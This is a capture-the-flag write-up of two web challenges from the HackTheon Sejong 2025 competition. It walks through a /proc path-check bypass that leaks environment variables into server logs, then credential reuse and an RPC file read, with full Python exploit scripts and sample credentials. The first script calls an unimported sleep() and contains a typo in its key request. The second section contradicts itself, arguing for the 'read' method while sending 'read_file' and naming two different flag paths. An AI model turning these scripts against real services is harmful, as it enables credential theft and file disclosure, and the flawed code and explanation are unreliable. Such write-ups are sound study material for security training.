HACKTHEON SEJONG 2025
Last weekend to be specific (26 April 2025), I’m joining the ‘2025 HackTheon Sejong’ International University Students’ Cyber Security Competition https://hacktheon.org/eng/info.php. My team name as “RE:UN10N Jr.”. It was really tough an totallyu differnet compare to last year challenge. We manage to secure 20th. Thanks to my teammate for carrying. (benkyou, Capang, hikki).
Frontdoor 1
Challenge Information
Category: Web
Difficulty: Easy
Objective: Exploit web vulnerabilities to retrieve the flag.
Tag: LFI
Flag: FLAG{Me7Hod_Ch4iN1nG_1s_5o_COoo0Oo00oO0ol}
Overview
The challenge provides source code along with a docker-compose.yaml
file. Within this YAML configuration, user credentials are exposed, which can be used to log in via the /api/signin
endpoint. After successful authentication, the flag is accessible at the /api/flag
endpoint, using the same session.
However, while credentials are included in the provided files, the live challenge server uses different credentials. Thus, the real goal of the challenge is to leak the credentials from the server’s runtime environment.
Observed API Functionalities
The following functionalities were observed:
/api
GET
get_root_handler
Retrieves basic API information or a welcome message.
/api/health-check
GET
get_health_check_handler
Health check endpoint to verify server uptime and status.
/api/logs
GET
get_logs_handler
Fetch server logs. Supports level
query parameter to control verbosity (e.g., error, warn, info, debug).
/api/monitor/{info}
GET
get_monitor_handler
Reads specified system files (like /proc/stat
, /proc/meminfo
, etc.) based on info
argument.
/api/signin
POST
post_signin_handler
Allows users to authenticate with username and password.
/api/flag
GET
get_flag_handler
(protected by middleware)
Retrieves the challenge flag after successful authentication.
Initial Analysis
In the provided Rust source code monitor.rs
, we find that the endpoint /api/monitor/{info}
handles requests for different types of system monitoring information.
The alias
function maps specific keywords to files inside /proc/
:
alias
function maps specific keywords to files inside /proc/
:fn alias(info: &str) -> Option<String> {
match info {
"cpu" => Some("stat".to_string()),
"mem" => Some("meminfo".to_string()),
"idle-time" => Some("uptime".to_string()),
_ => None,
}
}
File Path Validation
let file_path = match PathBuf::from("/proc")
.join(alias(&info).unwrap_or(info.clone()))
.canonicalize()
if !file_path.starts_with("/proc") || !file_path.is_file() {
return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}
let comps: Vec<_> = file_path.components().collect();
if comps.len() > 4 {
return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}
Bypass Trick:
Using /proc/self/...
works because /proc/self
is a special symlink pointing to the current process's /proc/[pid]
, satisfying the PID check indirectly.
This allows reading files like environ without knowing the real PID.:
/proc/self%2fenviron
Logging vulnerability
rustCopyEditasync fn parse_content(info: &str, content: &str) -> String {
match info {
"uptime" => parse_uptime(content),
"idle-time" => parse_idle_time(content),
"cpu" => parse_cpu(content),
"mem" => parse_mem(content),
_ => {
tracing::warn!("Unknown info type: '{}', content '{}'", info, content);
String::new()
}
}
}
If
info
is not recognized, it logs the fullinfo
and the filecontent
atwarn
level.
Full Exploitation Flow:
Read environment variables:
GET /api/monitor/self%2fenviron
The environment file contents are logged as a warning.
Fetch leaked logs:
GET /api/logs?level=warn
Extract leaked credentials from the environment variables.
Authenticate
/api/signin
and retrieve the flag from/api/flag
.
Full Script.
import requests
import time
BASE_URL = "http://localhost:8080"
session = requests.Session()
def trigger_log_injection():
print("Triggering log injection")
resp = session.get(f"{BASE_URL}/api/monitor/self%2fenviro n")
if resp.status_code == 200:
print("Done.")
else:
print("Error.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def fetch_leaked_logs():
print("See Logs")
resp = session.get(f"{BASE_URL}/api/logs?level=warn")
if resp.status_code == 200:
print("[+] Logs fetched successfully.")
print("\n=== Leaked Log Content Start ===\n")
print(resp.text)
print("\n=== Leaked Log Content End ===\n")
else:
print("[-] Failed to fetch logs.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def login_and_get_flag(username, password):
print(f"[*] Login: {username}")
data = {
"username": username,
"password": password
}
resp = session.post(f"{BASE_URL}/api/signin", json=data)
if resp.status_code == 200:
print("[+] Login successful!")
fetch_flag()
else:
print("[-] Login failed.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def fetch_flag():
print(" FLAG Retrieve.")
resp = session.get(f"{BASE_URL}/api/flag")
if resp.status_code == 200:
print("[+] Flag retrieved successfully!")
print(f"Flag: {resp.text}")
else:
print("[-] Failed to retrieve the flag.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def main():
trigger_log_injection()
sleep(5)
fetch_leaked_logs()
print("[*] Now manually input the leaked username and password you found in the logs.")
username = input("Username: ").strip()
password = input("Password: ").strip()
login_and_get_flag(username, password)
if __name__ == "__main__":
main()

Frontdoor 2
Challenge Information
Category: Web
Difficulty: Easy
Objective: Exploit web vulnerabilities to retrieve the flag.
Tag: LFI
Challenge Overview
This challenge builds directly on the techniques from Frontdoor 1. However, this time:
There is no
/api/flag
endpoint.A new RPC system is introduced via the
/api/rpc
endpoint.The objective is to read the flag file on the server via the RPC system after logging in.
Step-by-Step Solution
1. Credential Leak via /proc/self/environ
/proc/self/environ
The first step remains identical to Frontdoor 1:
Trigger a log injection using:
GET /api/monitor/self%2fenviron
Fetch the leaked logs:
GET /api/logs?level=warn
Extract the credentials from the leaked environment variables.
Credentials used:
(Same as Frontdoor 1 credentials — e.g., s3cre7Guest1:G#3stAcc3ss!25
)
2. Login to the Application
Using the leaked credentials:
Login via:
POST /api/signin Content-Type: application/json { "username": "s3cre7Guest1", "password": "G#3stAcc3ss!25" }
A session is established upon successful login.
3. Interacting with /api/rpc
/api/rpc
The /api/rpc
endpoint allows remote method invocation.
It is controlled by the rpc.rs
server-side code, specifically the append_session_dir()
function.
Key Analysis of rpc.rs
:
rpc.rs
:rustCopyEditasync fn append_session_dir(session: &Session, body: &mut PostRpcBody) -> bool {
let dir = match session.get::<PathBuf>("dir").await {
Ok(Some(dir)) => dir,
_ => return false,
};
let method = body.method.as_str();
if method == "close" || method == "read" || method == "write" || method == "exit" {
return true;
}
if body.params.is_empty() || body.params[0].param_type != 1 {
return false;
}
let path = match &body.params[0].value {
ParameterValue::Int(_) => return false,
ParameterValue::Str(s) => dir.join(s),
};
if !path.is_absolute() || path.is_symlink() {
return false;
}
body.params[0].value = ParameterValue::Str(path.to_str().unwrap().to_string());
true
}
What this does:
If the method is
close
,read
,write
, orexit
, no path modification is done.Otherwise, it forces any file path passed into an absolute path under the user's session directory (stored under
session.get::<PathBuf>("dir")
).It rejects symbolic links and non-absolute paths.
✅ So, if we stick to method = read
, we can avoid path modification!
4. Final Exploitation - Reading the Flag
Since read
is one of the allowed methods without directory patching, we can directly request the flag file.
Assuming the flag file is something standard like /flag
, or otherwise known, we craft the RPC call:
POST /api/rpc
/api/rpc
POST /api/rpc
Content-Type: application/json
{
"method": "read_file",
"params": [
{
"type": 1,
"value": "/flag"
}
]
}
Result:
If successful, the server reads
/flag
and returns its content — the flag.
Full Exploitation Summary:
Trigger an environment variable leak via
/api/monitor/self%2fenviron
.Fetch and read leaked logs via
/api/logs?level=warn
.Extract credentials and login at
/api/signin
.Use
/api/rpc
with theread
method and target/flag
to retrieve the flag.
Script
import requests
import time
BASE_URL = "http://localhost:8080"
session = requests.Session()
def trigger_log_injection():
session.get(f"{BASE_URL}/api/monitor/self%2fenviron")
def fetch_leaked_logs():
time.sleep(5)
resp = session.get(f"{BASE_URL}/api/logs?level=warn")
print(resp.text)
def login(username, password):
resp = session.post(f"{BASE_URL}/api/signin", json={"username": username, "password": password})
return resp.status_code == 200
def read_flag():
payload = {
"method": "read_file",
"params": [
{
"type": 1,
"value": "/app/flag"
}
]
}
resp = session.post(f"{BASE_URL}/api/rpc", json=payload)
print(resp.text)
def main():
trigger_log_injection()
print("[*] Waiting and fetching logs...")
fetch_leaked_logs()
username = input("Username from leak: ").strip()
password = input("Password from leak: ").strip()
if login(username, password):
print("[+] Login successful, reading flag...")
read_flag()
else:
print("[-] Login failed.")
if __name__ == "__main__":
main()
Last updated